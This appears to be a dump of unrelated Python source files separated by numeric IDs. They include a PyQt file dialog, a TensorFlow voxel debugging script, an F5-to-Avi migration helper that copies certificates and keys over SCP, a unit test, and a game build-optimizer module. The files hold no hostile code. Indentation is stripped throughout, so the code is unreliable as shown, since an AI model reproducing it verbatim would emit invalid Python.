# 设置对话框标题
@pyqtSlot(str)
def setCaption(self, caption):
self.setWindowTitle(caption)
# 设置对话框目录
@pyqtSlot(str)
def setDirectory(self, directory):
super(FileDialog, self).setDirectory(directory)
# 设置打开、保存模式
# AcceptMode {0: AcceptOpen, 1: AcceptSave}
@pyqtSlot(int)
def setAcceptMode(self, acceptMode):
super(FileDialog, self).setAcceptMode(acceptMode)
# 设置文件选择模式
# FileMode {0: AnyFile, 1: ExistingFile, 2: Directory, 3: ExistingFiles, 4: DirectoryOnly}
@pyqtSlot(int)
def setFileMode(self, fileMode):
super(FileDialog, self).setFileMode(fileMode)
# 设置默认保存扩展名
@pyqtSlot(str)
def setDefaultSuffix(self, defaultSuffix):
super(FileDialog, self).setDefaultSuffix(defaultSuffix)
# 设置默认选中文件
@pyqtSlot(str)
def selectFile(self, filename):
super(FileDialog, self).selectFile(filename)
# 选中过滤器
@pyqtSlot(str)
def setFilters(self, filters):
self.setNameFilter(filters)
# 添加过滤器
@pyqtSlot(str)
def addFilter(self, newFilter):
filters = self.nameFilters()
filters.append(newFilter)
self.setNameFilters(filters)
# 设置默认过滤器
@pyqtSlot(str)
def selectFilter(self, defFilter):
self.selectNameFilter(defFilter)
# 显示文件选择对话框
@pyqtSlot(result = str)
def exec(self):
if(super(FileDialog, self).exec()):
return '\n'.join(self.selectedFiles())
return ''
|
491551
|
def func2():
pass
def func1(n):
num = 0
while num < n:
yield func2
num += 1
for i in func1(100):
i()
|
491565
|
import os,sys
#add library to the system path
lib_path = os.path.abspath(os.path.join('lib'))
sys.path.append(lib_path)
from fast_rcnn.config import cfg
from utils.transform import calib_to_P,computeCorners3D,projectToImage,lidar_to_camera
from utils.util_voxels import lidar_in_cam_to_voxel
import matplotlib.pyplot as plt
from utils.draw import drawBox3D, show_image_boxes, scale_to_255
from rpn_msr.anchor_target_layer_voxel_tf import anchor_target_layer_voxel as anchor_target_layer_voxel_py
import numpy as np
from datasets.factory import get_imdb
from networks.factory import get_network
import tensorflow as tf
imdb = get_imdb('kitti_train_small')
imdb.set_object('peds')
from fast_rcnn.train_mv_voxel import get_training_roidb
pretrained_model = '/data/RPN/fromBDD/MV3D_TF/output/default/train/voxelnet_train_peds_at0110_0047/VGGnet_fast_rcnn_iter_70000.ckpt.meta'
roidb = get_training_roidb(imdb)
from roi_data_layer.layer import RoIDataLayer
data_layer = RoIDataLayer(roidb, imdb.num_classes)
blobs = data_layer.forward()
while blobs['gt_rys'].shape[0]>0:
blobs = data_layer.forward()
#find a specific sample
while blobs['im_id']!='000000':
print (blobs['im_id'])
blobs = data_layer.forward()
network = get_network('kitti_voxeltrain',use_bn=True,use_focal=False,use_fusion=True)
rpn_data = network.get_output('rpn_data')
rpn_label = tf.reshape(rpn_data[0],[-1])
t_anchor = rpn_data[4]
#front view
rpn_cls_score = network.get_output('rpn_cls_score')
VFE_feature = network.get_output('feature_output')
img_features_pooled = network.get_output('img_features_pooled')
lidar_features = network.get_output('lidar_features')
img_features = network.get_output('img_features')
rpn_keep = tf.reshape(tf.where(tf.not_equal(rpn_label,-1)),[-1])
# only regression positive anchors
rpn_bbox_keep = tf.reshape(tf.where(tf.greater(rpn_label, 0)),[-1])
config = tf.ConfigProto(allow_soft_placement=False)
config.gpu_options.allow_growth = True
sess = tf.Session(config=config)
sess.run(tf.global_variables_initializer())
#use input to exam sparse pooling
Mij_pool0,M_val0,M_size0,img_index_flip_pool0 = network.produce_sparse_pooling_input(blobs['img_index'],blobs['img_size'],
blobs['bv_index'],blobs['bv_size'],M_val=blobs['M_val'],stride=[1,1]) #blobs['M_val']
print ('M_val ', M_val0)
Mij_tf0 = tf.placeholder(tf.int64,shape=(None,2))
M_val_tf0 = tf.placeholder(tf.float32,shape=(None))
M_size_tf0= tf.placeholder(tf.int64,shape=(2))
img_index_flip_tf0 = tf.placeholder(tf.int32,shape=(None,3))
image_data0 = tf.placeholder(tf.float32, shape=[None, None, None, 3])
M_tf0 = tf.SparseTensor(indices=Mij_tf0,values=M_val_tf0,
dense_shape=M_size_tf0)
pooled_size = [1,200,240,3]
img_pooled_tf = tf.gather_nd(image_data0,img_index_flip_tf0)
bv_flat_tf = tf.sparse_tensor_dense_matmul(M_tf0,img_pooled_tf)
img_features_pooled0 = tf.reshape(bv_flat_tf,pooled_size)
#img_features_pooled0 = sparse_pool([M_tf0,image_data0,img_index_flip_tf0],pooled_size)
feed_dict= {Mij_tf0:Mij_pool0,
M_val_tf0:M_val0,
M_size_tf0:M_size0,
img_index_flip_tf0:img_index_flip_pool0,
image_data0:blobs['image_data']}
img_features_pooled0_debug,bv_flat_tf_debug = sess.run([img_features_pooled0,bv_flat_tf],feed_dict=feed_dict)
img_features_pooled0_debug = np.sum(np.absolute(np.squeeze(img_features_pooled0_debug)),axis=-1)
bv_flat_tf_debug = np.absolute(bv_flat_tf_debug)
print ('M_size: ',M_size0)
print ('pooled feature: ', img_features_pooled0_debug.shape)
print ('bv_index ',blobs['bv_index'][:2,:])
print ('bv_size: ', blobs['bv_size'])
print ('img_index ',blobs['img_index'][:,:2])
plt.figure()
plt.subplot(2,1,1)
plt.imshow(img_features_pooled0_debug)
voxel_full = np.zeros((200,240))
voxel_full[blobs['bv_index'][:,1],blobs['bv_index'][:,0]]=200
plt.subplot(2,1,2)
plt.imshow(voxel_full)
plt.show()
#whole network
'''
saver = tf.train.Saver(max_to_keep=10)
network.load(pretrained_model, sess, saver, True)
Mij_pool,M_val,M_size,img_index_flip_pool = network.produce_sparse_pooling_input(blobs['img_index'],blobs['img_size'],
blobs['bv_index'],blobs['bv_size'],M_val=None) #blobs['M_val']
# Make one SGD update
feed_dict={network.image_data: blobs['image_data'],
network.vox_feature: blobs['voxel_data']['feature_buffer'],
network.vox_coordinate: blobs['voxel_data']['coordinate_buffer'],
network.vox_number: blobs['voxel_data']['number_buffer'],
network.im_info: blobs['im_info'],
network.im_info_fv: blobs['im_info_fv'],
network.keep_prob: 0.5,
network.gt_boxes: blobs['gt_boxes'],
network.gt_boxes_3d: blobs['gt_boxes_3d'],
network.gt_rys: blobs['gt_rys'],
network.Mij_tf: Mij_pool,
network.M_val_tf: M_val,
network.M_size_tf: M_size,
network.img_index_flip_tf: img_index_flip_pool}
rpn_cls_score_debug,VFE_feature_debug,img_features_pooled_debug,lidar_features_debug,img_features_debug = sess.run([rpn_cls_score,
VFE_feature,img_features_pooled,lidar_features,img_features],
feed_dict=feed_dict)
img_features_pooled_debug = np.sum(np.absolute(np.squeeze(img_features_pooled_debug)),axis=-1)
lidar_features_debug = np.sum(np.absolute(np.squeeze(lidar_features_debug)),axis=-1)
img_features_debug = np.sum(np.absolute(np.squeeze(img_features_debug)),axis=-1)
VFE_feature_debug = np.squeeze(np.sum(VFE_feature_debug,axis=1))
print ('VFE plot shape: ', VFE_feature_debug.shape)
print ('pooled feature: ', img_features_pooled_debug.shape)
print ('orig img feature: ', img_features_debug.shape)
print ('Lidar conv feature: ', lidar_features_debug.shape)
img_plot = img_features_pooled_debug
lidar_plot = lidar_features_debug
img_orig_plot = img_features_debug
VFE_plot = VFE_feature_debug[:,:,0:3]
plt.figure()
plt.subplot(2,2,1)
plt.imshow(scale_to_255(img_plot,np.amin(img_plot),np.amax(img_plot)))
plt.subplot(2,2,2)
plt.imshow(scale_to_255(lidar_plot,np.amin(lidar_plot),np.amax(lidar_plot)))
plt.subplot(2,2,3)
plt.imshow(scale_to_255(img_orig_plot,np.amin(img_orig_plot),np.amax(img_orig_plot)))
plt.subplot(2,2,4)
plt.imshow(scale_to_255(VFE_plot,np.amin(VFE_plot),np.amax(VFE_plot)))
plt.show()
'''
|
491571
|
import logging
import os
from avi.migrationtools.scp_util import SCPUtil
LOG = logging.getLogger(__name__)
def get_files_from_f5(local_path, host, username, pw=None, key=None, port=22):
"""
:param local_path: relative path to file
:param host: hostname of instance
:param username: username for instance
:param pw: password for instance
:param key: keyfile.
:return:
"""
local_path = local_path + os.path.sep
scp = SCPUtil(host, username, pw, key, port)
scp.get_all_files('/config/ssl/ssl.crl/', local_path)
scp.get_all_files('/config/ssl/ssl.crt/', local_path)
scp.get_all_files('/config/ssl/ssl.csr/', local_path)
scp.get_all_files('/config/ssl/ssl.key/', local_path)
scp.get_all_files('/config/monitors/', local_path)
# Added support to get cert and key for V13.
try:
scp.get_all_partition_certkey('/config/filestore/files_d/', local_path)
except:
pass
scp.get('/config/bigip.conf', local_path + 'bigip.conf')
try:
scp.get('/config/profile_base.conf', local_path + 'profile_base.conf')
except:
pass
try:
scp.get('/usr/share/monitors/base_monitors.conf', local_path +
'base_monitors.conf')
except:
pass
try:
scp.get('/config/bigip_gtm.conf', local_path + 'bigip_gtm.conf')
except:
pass
try:
scp.get_all_partition_config('/config/partitions/', local_path)
except:
pass
scp.close()
|
491595
|
import unittest
from stats_counters.stanzas.action import Action
class TestData(unittest.TestCase):
def setUp(self):
pass
def tearDown(self):
pass
def testEmptyInput(self):
'explicit call with no args is invalid'
self.assertRaises(ValueError, lambda: Action())
def testBadInput(self):
'whitelist'
self.assertRaises(TypeError, lambda: Action(type='foo'))
def testEmpty(self):
self.assertEqual(str(Action('im_sent')), '<action xmlns="digsby:stats:counter" type="im_sent"/>')
def testValue(self):
self.assertEqual(str(Action('im_sent', value=1)), '<action xmlns="digsby:stats:counter" type="im_sent" value="1"/>')
def testValue2(self):
self.assertEqual(str(Action('im_sent', value=None)), '<action xmlns="digsby:stats:counter" type="im_sent"/>')
def testInitialResult(self):
self.assertEqual(str(Action('im_sent', initial=5, value=2, result=7)),
'<action xmlns="digsby:stats:counter" type="im_sent" initial="5" value="2" result="7"/>')
def testRoundtrip(self):
self.assertEqual(str(Action('im_sent', value=None)),
str(Action(Action('im_sent', value=None).as_xml().children)))
def testRoundtrip2(self):
self.assertEqual(str(Action('im_sent', initial=5, value=2, result=7)),
str(Action(Action('im_sent', initial=5, value=2, result=7).as_xml().children)))
if __name__ == "__main__":
#import sys;sys.argv = ['', 'Test.testName']
unittest.main()
|
491638
|
from selectors import *
f = open(0, "rb")
p = DefaultSelector()
print("DefaultSelector():", p)
print("register:", p.register(f, EVENT_READ, "userdata"))
for r in p.select():
print(r)
|
491674
|
import json
import itertools
import os
import sys
import shutil
from enum import Enum
from pprint import pprint
from lark.tree import Tree
from core.afflic import AFFLICT_LIST
from core.acl import regenerate_acl
from conf import SKIP_VARIANT, get_conf_json_path, ELE_AFFLICT, list_advs, load_json, mono_elecoabs, wyrmprints
TDPS_WEIGHT = 15000
BUFFER_TDPS_THRESHOLD = 40000
BUFFER_TEAM_THRESHOLD = 1.6
HAS_7SLOT = ("agito", "primal_dragon")
BANNED_PRINTS = (
# srry no full hp sd allowed
"Witchs_Kitchen",
"Berry_Lovable_Friends",
"Happier_Times",
# bugged in game
"United_by_One_Vision",
"Second_Anniversary",
"Third_Anniversary",
"Bonded_by_a_Dream",
# corrosion
"Her_Beloved_Crown",
"Her_Beloved_Sword",
)
BANNED_SHARES = ("Durant", "Yue", "Valentines_Chelsea")
ABNORMAL_COND = (
"sim_buffbot",
"dragonbattle",
"berserk",
"classbane",
"hp",
"dumb",
"fleet",
)
BUILD_CONF_KEYS = ("slots.a", "slots.d", "slots.w", "acl", "dacl", "coabs", "share")
BUILD_META_KEY = "EQMT"
DEBUG = False
def dprint(msg, pretty=False):
if DEBUG:
if pretty:
# pprint(msg)
pass
else:
print(msg, flush=True)
class ValueEnum(Enum):
def __str__(self):
return str(self.value)
class AfflictionCondition(ValueEnum):
SELF = "SELF"
ALWAYS = "ALWAYS"
IMMUNE = "IMMUNE"
@classmethod
def get_condition(cls, adv):
if all((value >= 300 for value in adv.afflics.get_resist().values())):
return cls.IMMUNE
if not adv.sim_afflict:
return cls.SELF
eleaff = ELE_AFFLICT[adv.slots.c.ele]
if adv.sim_afflict == set(eleaff):
if all((getattr(adv.afflics, aff).get_override == 1 for aff in eleaff)):
return cls.ALWAYS
raise ValueError("Invalid affliction condition")
def get_conf(self):
if self == AfflictionCondition.IMMUNE:
return {"afflict_res": {aff: 999 for aff in AFFLICT_LIST}}
if self == AfflictionCondition.ALWAYS:
return {"sim_afflict": {"onele": True}}
return {}
class SituationCondition(ValueEnum):
NORMAL = "NORMAL"
NIHILISM = "NIHILISM"
@classmethod
def get_condition(cls, adv):
if adv.nihilism:
return cls.NIHILISM
return cls.NORMAL
def get_conf(self):
if self == SituationCondition.NIHILISM:
return {"nihilism": True}
return {}
def all_monoele_coabs(ele, coab_list):
return all((coab in mono_elecoabs[ele] for coab in coab_list))
class MonoCondition(ValueEnum):
ANY = "ANY"
MONO = "MONO"
@classmethod
def get_condition(cls, adv):
if all_monoele_coabs(adv.slots.c.ele, adv.slots.c.coab_list):
return cls.MONO
return cls.ANY
def get_conf(self):
return {}
class ConditionTuple(tuple):
SEPARATOR = "-"
def __str__(self):
return ConditionTuple.SEPARATOR.join(map(str, self))
@staticmethod
def from_str(key):
aff, sit, mono = key.split(ConditionTuple.SEPARATOR)
return ConditionTuple((AfflictionCondition(aff), SituationCondition(sit), MonoCondition(mono)))
@property
def aff(self):
return self[0]
@property
def sit(self):
return self[1]
@property
def mono(self):
return self[2]
def reduced(self):
aff, sit, mono = self
return (
ConditionTuple((AfflictionCondition.SELF, sit, mono)),
ConditionTuple((aff, SituationCondition.NORMAL, mono)),
ConditionTuple((AfflictionCondition.SELF, SituationCondition.NORMAL, mono)),
)
def aff_to(self, value):
_, sit, mono = self
return ConditionTuple((value, sit, mono))
def sit_to(self, value):
aff, _, mono = self
return ConditionTuple((aff, value, mono))
def mono_to(self, value):
aff, sit, _ = self
return ConditionTuple((aff, sit, value))
def get_conf(self):
conf = {}
for value in self:
conf.update(value.get_conf())
return conf
ALL_COND_ENUMS = (AfflictionCondition, SituationCondition, MonoCondition)
DEFAULT_CONDITONS = ConditionTuple((AfflictionCondition.SELF, SituationCondition.NORMAL, MonoCondition.ANY))
def dps_weight(entry):
return entry.dps + entry.team * TDPS_WEIGHT
class OpimizationMode(ValueEnum):
PERSONAL = "PERSONAL"
TEAMBUFF = "TEAMBUFF"
def build_equip_condition(equip):
if equip is None:
return DEFAULT_CONDITONS, None
aff = equip.get("aff") or "SELF"
sit = equip.get("sit") or "NORMAL"
mono = equip.get("mono") or "ANY"
try:
opt = OpimizationMode(equip["opt"])
except (ValueError, KeyError):
opt = None
return ConditionTuple((AfflictionCondition(aff), SituationCondition(sit), MonoCondition(mono))), opt
def str_to_equip_condition(equip):
parts = equip.split("-")
return ConditionTuple((AfflictionCondition(parts[0]), SituationCondition(parts[1]), MonoCondition(parts[2])))
def equivalent(entry_a, entry_b, key):
a = entry_a.get(key)
b = entry_b.get(key)
if key == "acl":
return a == b
try:
return set(a) == set(b)
except (ValueError, TypeError):
return a == b
def same_build(entry_a, entry_b):
return all((equivalent(entry_a, entry_b, key) for key in BUILD_CONF_KEYS))
def same_build_different_dps(entry_a, entry_b):
return same_build(entry_a, entry_b) and entry_a.equip_metadata != entry_b.equip_metadata
def same_build_same_dps(entry_a, entry_b):
return same_build(entry_a, entry_b) and entry_a.equip_metadata == entry_b.equip_metadata
def compare_build_personal(entry_a, entry_b):
return dps_weight(entry_a) >= dps_weight(entry_b)
def compare_build_teambuff(entry_a, entry_b):
return entry_a.team > 0 and entry_a.team > entry_b.team or (round(entry_a.team, 5) == round(entry_b.team, 5) and entry_a.dps >= entry_b.dps)
OPT_COMPARE = {
OpimizationMode.PERSONAL: compare_build_personal,
OpimizationMode.TEAMBUFF: compare_build_teambuff,
}
OPT_KICK = {
OpimizationMode.PERSONAL: OpimizationMode.TEAMBUFF,
OpimizationMode.TEAMBUFF: OpimizationMode.PERSONAL,
}
class EquipBuild(dict):
@property
def dps(self):
return self[BUILD_META_KEY]["dps"]
@property
def team(self):
return self[BUILD_META_KEY]["team"]
@property
def noaff(self):
return self[BUILD_META_KEY]["noaff"]
@property
def nihil(self):
return self[BUILD_META_KEY]["nihil"]
@property
def equip_metadata(self):
return self[BUILD_META_KEY]
def build_from_sim(adv, real_d):
ndps = sum(map(lambda v: sum(v.values()), adv.logs.damage.values())) / real_d
nteam = adv.logs.team_buff / real_d
build = {BUILD_META_KEY: {"dps": ndps, "team": nteam, "noaff": not bool(adv.uses_affliction()), "nihil": adv.nihilism}}
build["slots.a"] = adv.slots.a.qual_lst
build["slots.d"] = adv.slots.d.qual
if adv.slots.w.series != adv.slots.DEFAULT_WEAPON:
build["slots.w"] = adv.slots.w.series
# acl_list = regenerate_acl(adv._acl).split("\n")
acl_list = adv.conf.acl
if not isinstance(acl_list, list):
acl_list = [line.strip() for line in acl_list.split("\n") if line.strip()]
build["acl"] = acl_list
if not adv.using_default_dacl:
dacl_list = adv.conf.dacl
if not isinstance(dacl_list, list):
dacl_list = [line.strip() for line in dacl_list.split("\n") if line.strip()]
build["dacl"] = dacl_list
build["coabs"] = adv.slots.c.coab_list
build["share"] = adv.skillshare_list
return EquipBuild(build)
def difference_of_builds(entry_a, entry_b):
build_diff = {}
for key in BUILD_CONF_KEYS:
b_val = entry_b.get(key)
if b_val and not equivalent(entry_a, entry_b, key):
build_diff[key] = b_val
return build_diff
def validate_sim(adv):
adv.duration = int(adv.duration)
if not adv.duration == 180:
return False, "Duration not 180s"
if any((k in adv.conf and not k in adv.conf_base for k in ABNORMAL_COND)):
return False, "Has an abnormal condition"
wp_qual_lst = adv.slots.a.qual_lst
for wp in wp_qual_lst:
if wp in BANNED_PRINTS:
return False, "Using a banned print"
for ab in wyrmprints[wp]["a"]:
if ab[0].startswith("sls") or ab[0].startswith("sts"):
return False, "No slayer/strikers"
if any((ss in BANNED_SHARES for ss in adv.skillshare_list)):
return False, "Using a banned share"
if not len(adv.slots.c.coab_list) == 3:
return False, "Less than 3 coabilities"
if adv.slots.w.series in HAS_7SLOT:
if not len(wp_qual_lst) == 7:
return False, "Not 7 wyrmprints"
elif not len(wp_qual_lst) == 5:
return False, "Not 5 wyrmprints"
return True, None
class EquipEntry(dict):
def __init__(self, conditions):
super().__init__({})
self.reset()
self._conditions = conditions
self._equip_manager = None
self._mono_to_any = None
self._aff_to_self = None
self._default = None
self._pref_override = None
def reset(self):
self[OpimizationMode.TEAMBUFF] = None
self[OpimizationMode.PERSONAL] = None
self["META"] = {
"tdps": None,
"pref": OpimizationMode.PERSONAL,
"partial": {OpimizationMode.PERSONAL: None, OpimizationMode.TEAMBUFF: None},
}
def from_dict(self, builds):
self.reset()
for k, v in builds.items():
if k == "META":
v["pref"] = OpimizationMode(v["pref"])
try:
converted = {}
for opt in OpimizationMode:
try:
converted[opt] = ConditionTuple.from_str(v["partial"][opt.name])
except KeyError:
converted[opt] = None
v["partial"] = converted
except KeyError:
pass
self[k].update(v)
else:
self[OpimizationMode(k)] = EquipBuild(v)
@property
def tdps(self):
return self["META"]["tdps"]
@tdps.setter
def tdps(self, tdps):
self["META"]["tdps"] = tdps
@property
def pref(self):
return self._pref_override or self["META"]["pref"]
@pref.setter
def pref(self, pref):
self["META"]["pref"] = pref
@property
def pref_override(self):
return self._pref_override
@pref_override.setter
def pref_override(self, pref):
self._pref_override = pref
def get_partial_base(self, opt):
based_on = self["META"]["partial"][opt]
if not based_on:
return None, None
base_build = self._equip_manager[based_on].get_build(opt, flexible_opt=False)
if base_build:
return base_build, based_on
return None, None
@staticmethod
def restore_build(build, base_build):
dprint(build, pretty=True)
dprint(base_build, pretty=True)
new_build = {**base_build}
for k, v in build.items():
if v:
new_build[k] = v
dprint(new_build, pretty=True)
return EquipBuild(new_build)
def get_build(self, opt, with_conditions=False, strict=False, flexible_opt=False):
original_opt = opt
while True:
dprint(f"GET BUILD {self._conditions}.{opt}")
build = self[opt]
base_build, based_on = self.get_partial_base(opt)
if base_build:
if build:
dprint(f"RESTORE FROM PARTIAL {based_on}")
if with_conditions:
conditions = self._conditions if BUILD_META_KEY in build else based_on
return self.restore_build(build, base_build), conditions
return self.restore_build(build, base_build)
elif not strict:
if with_conditions:
return base_build, based_on
return base_build
if not strict and not build and self._default:
return self._default.get_build(opt, with_conditions=with_conditions, flexible_opt=flexible_opt)
if build or original_opt != opt or not flexible_opt:
break
opt = OPT_KICK[opt]
if with_conditions:
return build, self._conditions
return build
def builds(self, skip_none=False, **kwargs):
for opt in OpimizationMode:
build = self.get_build(opt, **kwargs)
if kwargs.get("with_conditions"):
if not skip_none or not build[0] is None:
yield opt, build
elif not skip_none or not build is None:
yield opt, build
@property
def preferred(self):
return self.get_build(self.pref, with_conditions=True, flexible_opt=True)
@property
def empty(self):
return not any((self[opt] for opt in OpimizationMode))
@property
def dps_only(self):
return all((set(self[opt].keys()) == {BUILD_META_KEY} for opt in OpimizationMode))
def acceptable_conditions(self, build, conditions):
if conditions.sit != self._conditions.sit:
return False
if conditions.aff != self._conditions.aff and not build.noaff:
return False
return True
def update_meta(self):
dprint(f"UPDATE META {self._conditions}")
personal_build, personal_conditions = self.get_build(OpimizationMode.PERSONAL, with_conditions=True, flexible_opt=False)
teambuff_build, teambuff_conditions = self.get_build(OpimizationMode.TEAMBUFF, with_conditions=True, flexible_opt=False)
if not teambuff_build or not self.acceptable_conditions(teambuff_build, teambuff_conditions):
dprint("NO TEAMBUFF BUILD")
self.tdps = None
self.pref = OpimizationMode.PERSONAL
return
if not personal_build or not self.acceptable_conditions(personal_build, personal_conditions):
dprint("NO PERSONAL BUILD")
self.tdps = None
self.pref = OpimizationMode.TEAMBUFF
return
if personal_build.team < teambuff_build.team:
self.tdps = (personal_build.dps - teambuff_build.dps) / (teambuff_build.team - personal_build.team)
else:
self.tdps = None
if same_build(personal_build, teambuff_build) and self._default is not None:
self[OpimizationMode.TEAMBUFF] = None
if teambuff_build.team > BUFFER_TEAM_THRESHOLD or (self.tdps is not None and self.tdps < BUFFER_TDPS_THRESHOLD):
self.pref = OpimizationMode.TEAMBUFF
else:
self.pref = OpimizationMode.PERSONAL
dprint(f"NEW tdps {self.tdps}, pref {self.pref}")
def set_build(self, opt, build):
dprint(f"ACCEPTED {self._conditions}.{opt}")
self[opt] = EquipBuild({**build})
self["META"]["partial"][opt] = None
def set_build_diff(self, opt, build_diff, based_on):
dprint(f"DIFF ONLY {self._conditions}.{opt} BASED ON {based_on}, {build_diff}")
self[opt] = EquipBuild({BUILD_META_KEY: self[opt][BUILD_META_KEY], **build_diff})
self["META"]["partial"][opt] = based_on
def delete_build(self, opt, based_on=None):
dprint(f"DELETED {self._conditions}.{opt}")
self[opt] = None
self["META"]["partial"][opt] = based_on
def accept_new_build(self, new_build, adv):
dprint("-" * 100)
dprint(f"CHECKING {self._conditions}:")
dprint(new_build, pretty=True)
changed = False
# in the case where we have aff -> self downgrading and this sim did not use afflictions, send build off to that first
if self._aff_to_self and new_build.noaff:
dprint(f"PASSED from {self._conditions} to {self._aff_to_self._conditions} (_aff_to_self)")
changed = self._aff_to_self.accept_new_build(new_build, adv) or changed
# check against current builds
for opt, existing_buildcond in self.builds(strict=True, with_conditions=True):
existing_build, existing_cond = existing_buildcond
if not existing_build or (existing_cond == self._conditions and same_build_different_dps(new_build, existing_build)) or OPT_COMPARE[opt](new_build, existing_build):
if existing_build:
dprint(f"EXISTING DPS {existing_build.dps}, TEAM {existing_build.team}")
dprint(f"NEW DPS {new_build.dps}, TEAM {new_build.team}")
else:
dprint("NO EXISTING BUILD")
self.set_build(opt, new_build)
changed = True
# check against downgrade targets
if self._mono_to_any:
dprint(f"PASSED from {self._conditions} to {self._mono_to_any._conditions} (_mono_to_any)")
changed = self._mono_to_any.accept_new_build(new_build, adv) or changed
for opt, ref_buildcond in self._mono_to_any.builds(skip_none=True, with_conditions=True):
if not self[opt]:
continue
ref_build, ref_cond = ref_buildcond
# check if any build is also a mono build, and is equal/better than this build
if "coabs" in ref_build and all_monoele_coabs(adv.slots.c.ele, ref_build["coabs"]) and OPT_COMPARE[opt](ref_build, self[opt]):
dprint("ANY IS ALSO MONOELE")
self.delete_build(opt, ref_cond)
changed = True
continue
# check if the builds are different, and store only the parts that are not the same
build_diff = difference_of_builds(ref_build, self[opt])
if not build_diff:
dprint("SAME MONOELE")
self.delete_build(opt, ref_cond)
changed = True
continue
self.set_build_diff(opt, build_diff, ref_cond)
if self._aff_to_self:
# always aff
if self._conditions.aff == AfflictionCondition.ALWAYS:
for opt, ref_buildcond in self._aff_to_self.builds(skip_none=True, with_conditions=True):
ref_build, ref_cond = ref_buildcond
if self[opt]:
# self build is equal or better than aff build
if OPT_COMPARE[opt](ref_build, self[opt]):
dprint("SELF BETTER THAN ALWAYS AFF")
self.delete_build(opt, ref_cond)
else:
# save the differences only
build_diff = difference_of_builds(ref_build, self[opt])
self.set_build_diff(opt, build_diff, ref_cond)
changed = True
# immune aff
elif self._conditions.aff == AfflictionCondition.IMMUNE:
for opt, ref_buildcond in self._aff_to_self.builds(skip_none=True, with_conditions=True):
ref_build, ref_cond = ref_buildcond
if self[opt]:
# self build is identical or ref build is no aff and better
if same_build_same_dps(ref_build, self[opt]) or (ref_build.noaff and OPT_COMPARE[opt](ref_build, self[opt])):
dprint("SELF BETTER THAN IMMUNE AFF")
self.delete_build(opt, ref_cond)
continue
else:
# save the differences only
build_diff = difference_of_builds(ref_build, self[opt])
self.set_build_diff(opt, build_diff, ref_cond)
changed = True
# # check against default
# if self._default:
# for opt, reference_build in self._default.builds(skip_none=True):
# if self[opt] and same_build(reference_build, self[opt]):
# self.delete_build(opt)
# changed = True
if changed:
self.update_meta()
dprint("-" * 100)
return changed
def encodable(data, key=None):
if isinstance(data, EquipEntry) and data.empty:
return None
if isinstance(data, dict):
output = {}
for k, v in data.items():
encodable_v = encodable(v, key=k)
if encodable_v is not None:
output[str(k)] = encodable_v
if key == "partial":
if not output:
return None
for k, v in output.items():
output[k] = str(v)
return output
return data
class EquipManager(dict):
EQUIP_DIR = "equip"
def __init__(self, advname, variant=None, save_variant_build=False):
self._advname = advname
self._variant = variant
self.set_save_variant_build(save_variant_build)
for conditions in map(ConditionTuple, itertools.product(*ALL_COND_ENUMS)):
self[conditions] = EquipEntry(conditions)
try:
for key, value in self.load_equip_json():
conditions = ConditionTuple.from_str(key)
self[conditions].from_dict(value)
except (FileNotFoundError, json.decoder.JSONDecodeError):
pass
for key, value in self.items():
value._equip_manager = self
if key == DEFAULT_CONDITONS:
continue
if key.aff != AfflictionCondition.SELF:
value._aff_to_self = self.get(key.aff_to(AfflictionCondition.SELF))
if key.mono == MonoCondition.MONO:
value._mono_to_any = self.get(key.mono_to(MonoCondition.ANY))
value._default = self.get(DEFAULT_CONDITONS)
def set_save_variant_build(self, save_variant_build):
if self._variant and self._variant not in SKIP_VARIANT:
self._save = save_variant_build
if not self._save:
self._equip_file = get_conf_json_path(f"{EquipManager.EQUIP_DIR}/{self._advname}.json")
else:
self._equip_file = get_conf_json_path(f"{EquipManager.EQUIP_DIR}/{self._advname}.{self._variant}.json")
if not os.path.exists(self._equip_file):
basefile = get_conf_json_path(f"{EquipManager.EQUIP_DIR}/{self._advname}.json")
try:
shutil.copyfile(basefile, self._equip_file)
except FileNotFoundError:
pass
else:
self._save = self._variant not in SKIP_VARIANT
self._equip_file = get_conf_json_path(f"{EquipManager.EQUIP_DIR}/{self._advname}.json")
def get_preferred_entry(self, conditions):
if conditions is None:
return self[DEFAULT_CONDITONS].preferred
if not isinstance(conditions, ConditionTuple):
conditions = ConditionTuple(conditions)
preferred, p_cond = self[conditions].preferred
if preferred:
return preferred, p_cond
for r_cond in conditions.reduced():
preferred, r_cond = self[r_cond].preferred
if preferred:
return preferred, r_cond
return None, conditions
def load_equip_json(self):
with open(self._equip_file, "r", encoding="utf8") as f:
return json.load(f, parse_float=float, parse_int=int).items()
def save_equip_json(self):
with open(self._equip_file, "w", encoding="utf8") as f:
# return json.dump(encodable(self), f, ensure_ascii=False, default=str, separators=(",", ":"))
return json.dump(encodable(self), f, ensure_ascii=False, default=str, indent=2)
def display_json(self):
return json.dumps(encodable(self), ensure_ascii=False, default=str, indent=2)
def accept_new_entry(self, adv, real_d):
if not self._save:
return
valid, failure = validate_sim(adv)
if not valid:
dprint(f"INVALID SIM: {failure!r}")
return
try:
conditions = ConditionTuple((cond_enum.get_condition(adv) for cond_enum in ALL_COND_ENUMS))
dprint(f"ELIGABLE FOR {conditions}")
except ValueError:
return
new_build = build_from_sim(adv, real_d)
if conditions.aff == AfflictionCondition.SELF and new_build.noaff:
for aff in (AfflictionCondition.IMMUNE, AfflictionCondition.ALWAYS):
changed = self[conditions.aff_to(aff)].accept_new_build(new_build, adv)
else:
changed = self[conditions].accept_new_build(new_build, adv)
if changed:
self.save_equip_json()
return new_build
def accept_new_entry_with_faith(self, adv, real_d, conditions, opt):
if not self._save:
return
valid, failure = validate_sim(adv)
if not valid:
dprint(f"INVALID SIM: {failure!r}")
self[conditions].delete_build(opt)
return
self[conditions][opt] = build_from_sim(adv, real_d)
return self[conditions]
def repair_entries(self, advmodule):
if not self._save:
return
import core.simulate
for opt in OpimizationMode:
for conditions, entry in self.items():
if entry[opt] is None:
continue
# repair this condition
try:
adv, real_d = core.simulate.test(
self._advname,
advmodule,
duration=180,
verbose=4,
equip_conditions=conditions,
opt_mode=opt,
)
self.accept_new_entry_with_faith(adv, real_d, conditions, opt)
# check this build against all other aff conditions
for aff in AfflictionCondition:
if aff == conditions.aff:
continue
affcond = conditions.aff_to(aff)
adv, real_d = core.simulate.test(
self._advname,
advmodule,
duration=180,
verbose=4,
conf=affcond.get_conf(),
equip_conditions=conditions,
opt_mode=opt,
)
self.accept_new_entry(adv, real_d)
except Exception as e:
print(conditions)
raise e
entry.update_meta()
self.save_equip_json()
def set_pref_override(self, pref_override):
for entry in self.values():
entry._pref_override = pref_override
def not_pref(self, conditions, opt):
return self[conditions].pref != opt
EQUIP_MANAGERS = {}
